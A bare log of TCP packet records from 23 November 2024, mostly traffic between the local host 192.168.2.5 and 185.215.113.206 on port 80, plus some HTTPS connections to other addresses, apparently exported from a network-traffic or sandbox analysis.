Nov 23, 2024 01:14:30.005862951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.005891085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.006722927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.006772995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.007340908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.007678032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.007729053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.008693933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.008706093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.008717060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.008769035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.009607077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.009758949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.009815931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.010582924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.011610985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.011622906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.011634111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.011833906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.012541056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.012957096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.013489008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.013797045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.013808966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.014461040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.014519930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.014595985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.015439987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.015499115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.016458988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.016472101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.017457008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.017469883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.017481089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.017518997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.017548084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.018357992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.019341946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.019355059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.019366026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.019408941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.019442081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.020284891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.020351887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.021275997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.021287918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.021300077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.021349907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.022181988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.024424076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.110429049 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.133347988 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.135204077 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.137758970 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.137774944 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.141088963 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.141159058 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.154808044 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.163959980 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.163976908 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.164143085 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.164411068 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.167745113 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.167833090 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.171829939 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.172013998 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.172069073 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.172544956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.172656059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.172992945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.173057079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.173409939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.173943996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.173990011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.174310923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.174329042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.174371958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.175276995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.175553083 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.175574064 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.175574064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.175641060 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.175648928 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.175916910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.176285982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.176343918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.176395893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.177234888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.177444935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.177495003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.178208113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.179192066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.179203987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.179227114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.179254055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.179275036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.180130959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.180176973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.180649996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.181126118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.181587934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.181641102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.182082891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.182286978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.182332039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.183041096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.183927059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.183981895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.184035063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.184047937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.184088945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.184973001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.185401917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.186093092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.186161995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.186557055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.186963081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.187021017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.187158108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.187973976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.188024044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.188329935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.188415051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.188858986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.191055059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.210302114 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.210316896 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.217258930 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.217259884 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.220412016 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.221240044 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.221246004 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.232492924 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.235658884 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.236429930 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.236447096 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.236819983 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.236824989 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.237318993 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.237338066 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.237675905 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.237680912 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.273788929 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.273792982 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.274265051 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.274270058 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.275188923 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.275192976 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.275580883 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.275585890 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.308799028 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.308999062 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.309006929 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.309489012 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.309961081 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.310039997 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.310118914 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.310220957 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.310230970 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.329987049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.341928005 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.342072010 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.342250109 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.344249964 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.344258070 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.449546099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.565730095 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.565807104 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.565860033 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.566024065 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.566052914 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.566066027 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.566071987 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.568705082 CET	49832	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.568732023 CET	443	49832	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.568810940 CET	49832	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.568948030 CET	49832	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.568958044 CET	443	49832	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.577187061 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.577219963 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.577277899 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.577557087 CET	49834	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.577589035 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.577636003 CET	49834	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.577955961 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.577971935 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.578022003 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.578176022 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.578195095 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.578301907 CET	49834	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.578311920 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.578485966 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:30.578500986 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:30.589185953 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.589257956 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.589329004 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.589430094 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.589438915 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.589451075 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.589456081 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.591916084 CET	49836	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.591943026 CET	443	49836	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.592000008 CET	49836	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.592113972 CET	49836	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.592133045 CET	443	49836	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.614937067 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.615004063 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.615070105 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.615180016 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.615194082 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.615206003 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.615211010 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.617248058 CET	49837	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.617264986 CET	443	49837	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.617341042 CET	49837	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.617472887 CET	49837	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.617480040 CET	443	49837	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.640710115 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640768051 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640788078 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640805960 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640827894 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.640840054 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640861034 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640867949 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.640897036 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640917063 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.640929937 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.640948057 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.675184965 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.675367117 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.675528049 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.675528049 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.675528049 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.677433968 CET	49838	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.677465916 CET	443	49838	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.677534103 CET	49838	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.677680969 CET	49838	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.677697897 CET	443	49838	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.686084986 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.687479019 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.687537909 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.688169003 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.688261032 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.688267946 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.688282013 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.688286066 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.690726042 CET	49839	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.690749884 CET	443	49839	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.690813065 CET	49839	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.690943003 CET	49839	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.690953016 CET	443	49839	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.781397104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.781475067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.781604052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.781721115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.781830072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.781891108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.781970024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.782016993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.782883883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.782960892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.783041954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.783087969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.783767939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.783901930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.783945084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.783963919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.784763098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.784837961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.784883976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.784931898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.785690069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.785782099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.785816908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.785864115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.786709070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.786770105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.786837101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.786880970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.787632942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.787688971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.787801981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.787848949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.788644075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.788773060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.788816929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.789570093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.789621115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.789717913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.789773941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.790518999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.790594101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.790658951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.790733099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.791578054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.791630030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.791882038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.791938066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.792483091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.792542934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.792619944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.792674065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.793523073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.793576002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.793638945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.793689013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.794459105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.794513941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.794593096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.794683933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.795377970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.795449972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.795511961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.795557022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.796385050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.796513081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.796540976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.796554089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.797341108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.797405958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.797436953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.797559977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.798383951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.798422098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.798475981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.799267054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.799330950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.799603939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.799726009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.800229073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.800282001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.800345898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.800419092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.801175117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.801239014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.801332951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.801390886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.802136898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.802191019 CET	49760	80	192.168.2.5	185.215.113.206
